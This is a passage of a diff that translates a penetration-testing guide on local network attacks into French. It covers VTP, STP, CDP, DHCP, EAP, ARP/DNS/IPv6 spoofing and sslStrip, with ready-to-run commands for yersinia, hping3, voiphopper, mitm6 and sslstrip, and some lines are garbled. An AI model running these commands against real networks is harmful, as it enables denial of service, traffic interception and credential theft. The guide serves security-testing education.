qui effacera l'ensemble de la base de données VLAN et paralysera ainsi le réseau. {% hint style="info" %} -The VTP protocol has as many as **three versions**. In this post the attack is against the first version, VTPv1 +Le protocole VTP a jusqu'à **trois versions**. Dans ce post, l'attaque est dirigée contre la première version, VTPv1. {% endhint %} - ```bash yersinia -G #For graphic mode ``` - -To erase the entire VLAN database, select the **deleting all VTP vlans** option +Pour effacer l'intégralité de la base de données VLAN, sélectionnez l'option **supprimer tous les VLAN VTP**.
-### STP Attacks +### Attaques STP -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**Si vous ne pouvez pas capturer de trames BPDU sur vos interfaces, il est peu probable que vous réussissiez une attaque STP.** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +En envoyant beaucoup de BPDUs TCP (Notification de changement de topologie) ou Conf (les BPDUs qui sont envoyés lors de la création de la topologie), les commutateurs sont surchargés et cessent de fonctionner correctement. ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **Attaque STP TCP** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +Lorsqu'un paquet TCP est envoyé, la table CAM des commutateurs est supprimée au bout de 15 secondes. Ensuite, si vous envoyez continuellement ce type de paquets, la table CAM sera redémarrée en continu (ou toutes les 15 secondes) et lorsqu'elle est redémarrée, le commutateur se comporte comme un concentrateur. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` +#### **Attaque de la racine STP** -#### **STP Root Attack** - -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +L'attaquant simule le comportement d'un commutateur pour devenir la racine STP du réseau. Ensuite, plus de données passeront par lui. C'est intéressant lorsque vous êtes connecté à deux commutateurs différents.\ +Cela est fait en envoyant des paquets CONF BPDUs indiquant que la valeur de **priorité** est inférieure à la priorité réelle du commutateur racine actuel. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**Si l'attaquant est connecté à 2 commutateurs, il peut être la racine de l'arbre et tout le trafic entre ces commutateurs passera par lui** (une attaque MITM sera effectuée). ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### Attaques CDP -### CDP Attacks +Le protocole CISCO Discovery Protocol est le protocole utilisé par les dispositifs CISCO pour communiquer entre eux, **découvrir qui est en vie** et quelles sont leurs fonctionnalités. -CISCO Discovery Protocol is the protocol used by CISCO devices to talk among them, **discover who is alive** and what features does they have. +#### Collecte d'informations -#### Information Gathering +**Par défaut, le CDP envoie des annonces à tous ses ports.** Mais que se passe-t-il si un intrus se connecte à un port sur le même commutateur ? En utilisant un sniffer réseau, que ce soit **Wireshark,** **tcpdump** ou **Yersinia**, il pourrait extraire **des informations précieuses sur le dispositif lui-même**, depuis son modèle jusqu'à la version Cisco IOS. En utilisant ces informations, il sera en mesure d'énumérer la même version de Cisco IOS et de trouver la vulnérabilité, puis de l'exploiter. -**By default, the CDP sends announcements to all its ports.** But what if an intruder connects to a port on the same switch? Using a network sniffer, be it **Wireshark,** **tcpdump** or **Yersinia**, he could extract **valuable information about the device itself**, from its model to the Cisco IOS version. Using this information he will be able to enumerate the same version of Cisco IOS and find the vulnerability and then exploit it. - -#### CDP Flooding Attack - -You can make a DoS attack to a CISCO switch by exhausting the device memory simulating real CISCO devices. +#### Attaque de saturation CDP +Vous pouvez effectuer une attaque DoS sur un commutateur CISCO en épuisant la mémoire du dispositif en simulant de vrais dispositifs CISCO. ```bash sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices # Or you could use the GUI sudo yersinia -G ``` +Sélectionnez l'option **table de saturation CDP** et lancez l'attaque. Le processeur du commutateur sera surchargé, ainsi que la table des voisins CDP, ce qui entraînera une «paralysie du réseau». -Select the **flooding CDP table** option and start the attack. The switch CPU will be overloaded, as well as the CDP neighbor table, **resulting in “network paralysis”.** - -
- -#### CDP Impersonation Attack - +#### Attaque d'usurpation CDP ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +Vous pouvez également utiliser [**scapy**](https://github.com/secdev/scapy/). Assurez-vous de l'installer avec le package `scapy/contrib`. -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### Attaques VoIP -### VoIP Attacks +Bien que destinés à être utilisés par les téléphones VoIP des employés, les dispositifs VoIP modernes sont de plus en plus intégrés aux dispositifs IoT. De nombreux employés peuvent maintenant déverrouiller des portes en utilisant un numéro de téléphone spécial, contrôler le thermostat de la pièce... -Although intended for use by the employees’ Voice over Internet Protocol (VoIP) phones, modern VoIP devices are increasingly integrated with IoT devices. Many employees can now unlock doors using a special phone number, control the room’s thermostat... +L'outil [**voiphopper**](http://voiphopper.sourceforge.net) imite le comportement d'un téléphone VoIP dans les environnements Cisco, Avaya, Nortel et Alcatel-Lucent. Il découvre automatiquement l'ID VLAN correct pour le réseau vocal en utilisant l'un des protocoles de découverte de périphériques qu'il prend en charge, tels que le protocole de découverte Cisco (CDP), le protocole de configuration dynamique des hôtes (DHCP), la découverte de couche de liaison de protocole de découverte de point de terminaison multimédia (LLDP-MED) et 802.1Q ARP. -The tool [**voiphopper**](http://voiphopper.sourceforge.net) mimics the behavior of a VoIP phone in Cisco, Avaya, Nortel, and Alcatel-Lucent environments. It automatically discovers the correct VLAN ID for the voice network using one of the device discovery protocols it supports, such as the Cisco Discovery Protocol (CDP), the Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery Protocol Media Endpoint Discovery (LLDP-MED), and 802.1Q ARP. - -**VoIP Hopper** supports **three** CDP modes. The **sniff** mode inspects the network packets and attempts to locate the VLAN ID. To use it, set the **`-c`** parameter to `0`. The **spoof** mode generates custom packets similar to the ones a real VoIP device would transmit in the corporate network. To use it, set the **`-c`** parameter to **`1`**. The spoof with a **pre-madepacket** mode sends the same packets as a Cisco 7971G-GE IP phone. To use it, set the **`-c`** parameter to **`2`**. - -We use the last method because it’s the fastest approach. The **`-i`** parameter specifies the attacker’s **network** **interface**, and the **`-E`** parameter specifies the **name of the VOIP device** being imitated. We chose the name SEP001EEEEEEEEE, which is compatible with the Cisco naming format for VoIP phones. The format consists of the word “SEP” followed by a MAC address. In corporate environments, you can imitate an existing VoIP device by looking at the MAC label on the back of the phone; by pressing the Settings button and selecting the Model Information option on the phone’s display screen; or by attaching the VoIP device’s Ethernet cable to your laptop and observing the device’s CDP requests using Wireshark. +**VoIP Hopper** prend en charge **trois** modes CDP. Le mode **sniff** inspecte les paquets réseau et tente de localiser l'ID VLAN. Pour l'utiliser, définissez le paramètre **`-c`** sur `0`. Le mode **spoof** génère des paquets personnalisés similaires à ceux qu'un vrai dispositif VoIP transmettrait dans le réseau d'entreprise. Pour l'utiliser, définissez le paramètre **`-c`** sur **`1`**. Le mode de spoofing avec un paquet préfabriqué envoie les mêmes paquets qu'un téléphone IP Cisco 7971G-GE. Pour l'utiliser, définissez le paramètre **`-c`** sur **`2`**. +Nous utilisons la dernière méthode car c'est l'approche la plus rapide. Le paramètre **`-i`** spécifie l'**interface réseau** de l'attaquant, et le paramètre **`-E`** spécifie le **nom du dispositif VOIP** qui est imité. Nous avons choisi le nom SEP001EEEEEEEEE, qui est compatible avec le format de nommage Cisco pour les téléphones VoIP. Le format se compose du mot "SEP" suivi d'une adresse MAC. Dans les environnements d'entreprise, vous pouvez imiter un dispositif VoIP existant en regardant l'étiquette MAC à l'arrière du téléphone ; en appuyant sur le bouton Paramètres et en sélectionnant l'option Informations sur le modèle sur l'écran d'affichage du téléphone ; ou en attachant le câble Ethernet du dispositif VoIP à votre ordinateur portable et en observant les demandes CDP du dispositif à l'aide de Wireshark. ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +Si l'outil s'exécute avec succès, le **réseau VLAN attribuera une adresse IPv4 à l'appareil de l'attaquant**. -If the tool executes successfully, the **VLAN network will assign an IPv4 address to the attacker’s device**. - -### DHCP Attacks - -#### Enumeration +### Attaques DHCP +#### Énumération ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -547,61 +488,56 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +Il existe **deux types de DoS** qui peuvent être effectués contre les serveurs DHCP. Le premier consiste à **simuler suffisamment de faux hôtes pour utiliser toutes les adresses IP possibles**.\ +Cette attaque ne fonctionnera que si vous pouvez voir les réponses du serveur DHCP et terminer le protocole (**Découverte** (Comp) --> **Offre** (serveur) --> **Demande** (Comp) --> **ACK** (serveur)). Par exemple, cela n'est **pas possible dans les réseaux Wifi**. +Une autre façon de réaliser un DoS DHCP est d'envoyer un **paquet DHCP-RELEASE en utilisant comme code source chaque IP possible**. Ensuite, le serveur pensera que tout le monde a fini d'utiliser l'IP. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +Une façon plus automatique de faire cela est d'utiliser l'outil [DHCPing](https://github.com/kamorin/DHCPig). -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +Vous pouvez utiliser les attaques DoS mentionnées pour forcer les clients à obtenir de nouvelles adresses dans l'environnement, et épuiser les serveurs légitimes pour qu'ils deviennent non réactifs. Ainsi, lorsque les légitimes essaient de se reconnecter, **vous pouvez leur servir des valeurs malveillantes mentionnées dans l'attaque suivante**. -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### Définir des valeurs malveillantes -#### Set malicious values +Vous pouvez utiliser le script DHCP de Responder (_/usr/share/responder/DHCP.py_) pour établir un serveur DHCP malveillant. Définir une passerelle malveillante n'est pas idéal, car la connexion détournée est seulement semi-duplex (c'est-à-dire que nous capturons les paquets de sortie du client, mais pas les réponses de la passerelle légitime). Par conséquent, je recommande de définir un serveur DNS ou WPAD malveillant pour capturer le trafic HTTP et les informations d'identification en particulier. -You can use Responder DHCP script (_/usr/share/responder/DHCP.py_) to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex (i.e., we capture egress packets from the client, but not the responses from the legitimate gateway). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular. - -| Description | Example | +| Description | Exemple | | ------------------------------------------- | ---------------------------------------------------------------------------- | -| Our IP address, advertised as a gateway | _-i 10.0.0.100_ | -| The local DNS domain name (optional) | _-d example.org_ | -| IP address of the original router/gateway | _-r 10.0.0.1_ | -| Primary DNS server IP address | _-p 10.0.0.100_ | -| Secondary DNS server IP address (optional) | _-s 10.0.0.1_ | -| The netmask of the local network | _-n 255.255.255.0_ | -| The interface to listen for DHCP traffic on | _-I eth1_ | -| WPAD configuration address (URL) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat/n%E2%80%9D) | -| Spoof the default gateway IP address | -S | -| Respond to all DHCP requests (very noisy) | -R | +| Notre adresse IP, annoncée comme passerelle | _-i 10.0.0.100_ | +| Le nom de domaine DNS local (facultatif) | _-d example.org_ | +| Adresse IP du routeur/passerelle d'origine | _-r 10.0.0.1_ | +| Adresse IP du serveur DNS primaire | _-p 10.0.0.100_ | +| Adresse IP du serveur DNS secondaire (facultatif) | _-s 10.0.0.1_ | +| Le masque de sous-réseau du réseau local | _-n 255.255.255.0_ | +| L'interface pour écouter le trafic DHCP | _-I eth1_ | +| Adresse de configuration WPAD (URL) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat/n%E2%80%9D) | +| Spoof l'adresse IP de la passerelle par défaut | -S | +| Répondre à toutes les demandes DHCP (très bruyant) | -R | -### **EAP Attacks** +### **Attaques EAP** -Here are some of the attack tactics that can be used against 802.1X implementations: +Voici quelques tactiques d'attaque qui peuvent être utilisées contre les implémentations 802.1X : -* Active brute-force password grinding via EAP -* Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -* EAP message capture and offline password cracking (EAP-MD5 and PEAP) -* Forcing EAP-MD5 authentication to bypass TLS certificate validation -* Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +* Brute-force actif de mot de passe via EAP +* Attaque du serveur RADIUS avec un contenu EAP malformé _\*\*_(exploits) +* Capture de messages EAP et craquage de mot de passe hors ligne (EAP-MD5 et PEAP) +* Forcer l'authentification EAP-MD5 pour contourner la validation du certificat TLS +* Injection de trafic réseau malveillant lors de l'authentification à l'aide d'un concentrateur ou similaire +Si l'attaquant est entre la victime et le serveur d'authentification, il pourrait essayer de dégrader (si nécessaire) le protocole d'authentification en EAP-MD5 et capturer la tentative d'authentification. Ensuite, il pourrait effectuer une attaque de force brute avec : ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` +### Attaques FHRP (GLBP & HSRP) -### FHRP (GLBP & HSRP) Attacks +**FHRP** (First Hop Redundancy Protocol) est une classe de protocoles réseau conçus pour **créer un système de routage redondant à chaud**. Avec FHRP, des routeurs physiques peuvent être combinés en un seul dispositif logique, ce qui augmente la tolérance aux pannes et aide à répartir la charge. -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. - -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Les ingénieurs de Cisco Systems ont développé deux protocoles FHRP, GLBP et HSRP.** {% content-ref url="glbp-and-hsrp-attacks.md" %} [glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md) @@ -609,77 +545,80 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ### RIP -Three versions of the Routing Information Protocol (RIP) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6. +Trois versions du protocole de routage RIP (Routing Information Protocol) existent - RIP, RIPv2 et RIPng. RIP et RIPv2 utilisent des datagrammes UDP envoyés à des pairs via le port 520, tandis que RIPng diffuse des datagrammes sur le port UDP 521 via une multidiffusion IPv6. RIPv2 a introduit la prise en charge de l'authentification MD5. RIPng n'intègre pas d'authentification native ; elle repose plutôt sur des en-têtes IPsec AH et ESP facultatifs dans IPv6. -For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_ +Pour plus d'informations sur la façon d'attaquer ce protocole, consultez le livre _**Network Security Assessment: Know Your Network (3ème édition).**_ -### EIGRP Attacks +### Attaques EIGRP -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** est un protocole de routage dynamique. **C'est un protocole de vecteur de distance.** Si **aucune authentification** et configuration des interfaces passives n'est effectuée, un **intrus** peut interférer avec le routage EIGRP et causer **une intoxication des tables de routage**. De plus, le réseau EIGRP (en d'autres termes, le système autonome) **est plat et n'a pas de segmentation en zones**. Si un **attaquant injecte une route**, il est probable que cette route se **propage** dans tout le système autonome EIGRP. -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +Pour attaquer un système EIGRP, il faut **établir une relation de voisinage avec un routeur EIGRP légitime**, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections. -\*\*\*\*[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +\*\*\*\*[**FRRouting**](https://frrouting.org/) vous permet de mettre en place **un routeur virtuel qui prend en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles.** Tout ce que vous avez à faire est de le déployer sur le système de votre attaquant et vous pouvez en fait prétendre être un routeur légitime dans le domaine de routage. {% content-ref url="eigrp-attacks.md" %} [eigrp-attacks.md](eigrp-attacks.md) {% endcontent-ref %} -\*\*\*\*[**Coly**](https://code.google.com/p/coly/) also supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration. For more info about how to attack it with Coly check _**Network Security Assessment: Know Your Network (3rd edition).**_ +\*\*\*\*[**Coly**](https://code.google.com/p/coly/) prend également en charge la capture des diffusions EIGRP et l'injection de paquets pour manipuler la configuration de routage. Pour plus d'informations sur la façon de l'attaquer avec Coly, consultez le livre _**Network Security Assessment: Know Your Network (3ème édition).**_ ### OSPF -Most Open Shortest Path First (OSPF) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the _Injection_ tab, and the key set under _Connection_. +La plupart des implémentations d'Open Shortest Path First (OSPF) utilisent MD5 pour fournir une authentification entre les routeurs. Loki et John the Ripper peuvent capturer et attaquer les hachages MD5 pour révéler la clé, qui peut ensuite être utilisée pour annoncer de nouvelles routes. Les paramètres de routage sont définis en utilisant l'onglet _Injection_, et la clé est définie sous _Connection_. -For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_ +Pour plus d'informations sur la façon d'attaquer ce protocole, consultez le livre _**Network Security Assessment: Know Your Network (3ème édition).**_ -### Other Generic Tools & Sources +### Autres outils et sources génériques -* [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -* You can find some more information about network attacks [here](https://github.com/Sab0tag3d/MITM-cheatsheet). _(TODO: Read it all and all new attacks if any)_ +* [**Above**](https://github.com/c4s73r/Above) : Outil pour scanner le trafic réseau et trouver des vulnérabilités +* Vous pouvez trouver plus d'informations sur les attaques réseau [ici](https://github.com/Sab0tag3d/MITM-cheatsheet). _(TODO: Tout lire et toutes les nouvelles attaques, le cas échéant)_ ## **Spoofing** -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. - +L'attaquant configure tous les paramètres réseau (GW, IP, DNS) du nouveau membre du réseau en envoyant de fausses réponses DHCP. ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing -Check the [previous section](./#arp-spoofing). +Vérifiez la [section précédente](./#arp-spoofing). ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +ICMP Redirect consiste à envoyer un paquet ICMP de type 1 code 5 qui indique que l'attaquant est le meilleur moyen d'atteindre une adresse IP. Ensuite, lorsque la victime veut contacter l'adresse IP, elle envoie le paquet à travers l'attaquant. ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +L'attaquant va résoudre certains (ou tous) les domaines que la victime demande. ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` +**Configurer son propre DNS avec dnsmasq** -**Configure own DNS with dnsmasq** +Il est possible de configurer son propre serveur DNS en utilisant dnsmasq. Cela peut être utile pour rediriger le trafic vers des adresses IP spécifiques ou pour effectuer des attaques de phishing. Voici les étapes à suivre pour configurer dnsmasq : +1. Installer dnsmasq : `sudo apt-get install dnsmasq` + +2. Éditer le fichier de configuration dnsmasq : `sudo nano /etc/dnsmasq.conf` + +3. Ajouter les entrées DNS souhaitées en utilisant la syntaxe suivante : `address=/domain.com/IP_address` + +4. Redémarrer dnsmasq : `sudo systemctl restart dnsmasq` + +Une fois que dnsmasq est configuré, il est possible de configurer le serveur DNS de votre machine pour utiliser le serveur dnsmasq. ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### Passerelles locales -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +Il existe souvent plusieurs routes vers des systèmes et des réseaux. Après avoir dressé une liste des adresses MAC dans le réseau local, utilisez _gateway-finder.py_ pour identifier les hôtes qui prennent en charge le transfert IPv4. ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -697,67 +636,59 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` - ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. +Les systèmes Microsoft utilisent Link-Local Multicast Name Resolution (LLMNR) et le service de noms NetBIOS (NBT-NS) pour la résolution locale de l'hôte lorsque les recherches DNS échouent. Les implémentations Linux zero-configuration et Apple Bonjour utilisent Multicast DNS (mDNS) pour découvrir les systèmes au sein d'un réseau. Ces protocoles ne sont pas authentifiés et diffusent des messages sur UDP ; ainsi, les attaquants peuvent les exploiter pour diriger les utilisateurs vers des services malveillants. -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Vous pouvez vous faire passer pour des services recherchés par des hôtes en utilisant Responder pour envoyer de fausses réponses.\ +Lisez ici plus d'informations sur [comment se faire passer pour des services avec Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)) upon being identified through any of the following: +De nombreux navigateurs utilisent Web Proxy Auto-Discovery (WPAD) pour charger les paramètres de proxy à partir du réseau. Un serveur WPAD fournit les paramètres de proxy client via une URL particulière (par exemple, [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)) lorsqu'il est identifié par l'un des éléments suivants : -* DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) -* DNS, searching for the _wpad_ hostname in the local domain -* Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure) +* DHCP, en utilisant une entrée de code 252[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) +* DNS, en recherchant le nom d'hôte _wpad_ dans le domaine local +* Microsoft LLMNR et NBT-NS (en cas d'échec de la recherche DNS) -Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Responder automatise l'attaque WPAD - en exécutant un proxy et en dirigeant les clients vers un serveur WPAD malveillant via DHCP, DNS, LLMNR et NBT-NS.\ +Lisez ici plus d'informations sur [comment se faire passer pour des services avec Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +Vous pouvez offrir différents services dans le réseau pour essayer de **tromper un utilisateur** pour qu'il entre des **informations d'identification en texte clair**. **Plus d'informations sur cette attaque dans** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** -### IPv6 Neighbor Spoofing - -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. +### Spoofing de voisin IPv6 +Cette attaque est très similaire à l'attaque ARP Spoofing mais dans le monde IPv6. Vous pouvez faire croire à la victime que l'IPv6 de la passerelle a l'adresse MAC de l'attaquant. ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` +### Spoofing/Flooding de l'annonceur de routeur IPv6 -### IPv6 Router Advertisement Spoofing/Flooding - -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +Certains systèmes d'exploitation configurent par défaut la passerelle à partir des paquets RA envoyés dans le réseau. Pour déclarer l'attaquant comme routeur IPv6, vous pouvez utiliser: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` +### Spoofing DHCP IPv6 -### IPv6 DHCP spoofing - -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +Par défaut, certains systèmes d'exploitation tentent de configurer le DNS en lisant un paquet DHCPv6 dans le réseau. Ensuite, un attaquant pourrait envoyer un paquet DHCPv6 pour se configurer en tant que DNS. Le DHCP fournit également une adresse IPv6 à la victime. ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (fausse page et injection de code JS) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## Attaques Internet ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +Essentiellement, cette attaque consiste à maintenir une connexion HTTP avec le client et une connexion HTTPS avec le serveur, de sorte que si l'utilisateur essaie d'accéder à une page HTTP qui redirige vers la version HTTPS, sslStrip pourra intercepter la connexion en texte clair. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -766,33 +697,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` +Plus d'informations [ici](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). +### sslStrip+ et dns2proxy pour contourner HSTS -### sslStrip+ and dns2proxy for bypassing HSTS +La **différence** entre **sslStrip+ et dns2proxy** par rapport à **sslStrip** est qu'ils vont **rediriger** par exemple _**www.facebook.com**_ **vers** _**wwww.facebook.com**_ (notez le **w** supplémentaire) et vont définir l'**adresse de ce domaine comme l'adresse IP de l'attaquant**. De cette façon, le **client** se **connectera** à _**wwww.facebook.com**_ **(l'attaquant)** mais en arrière-plan, **sslstrip+** maintiendra la **vraie connexion** via https avec **www.facebook.com**. -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +Le **but** de cette 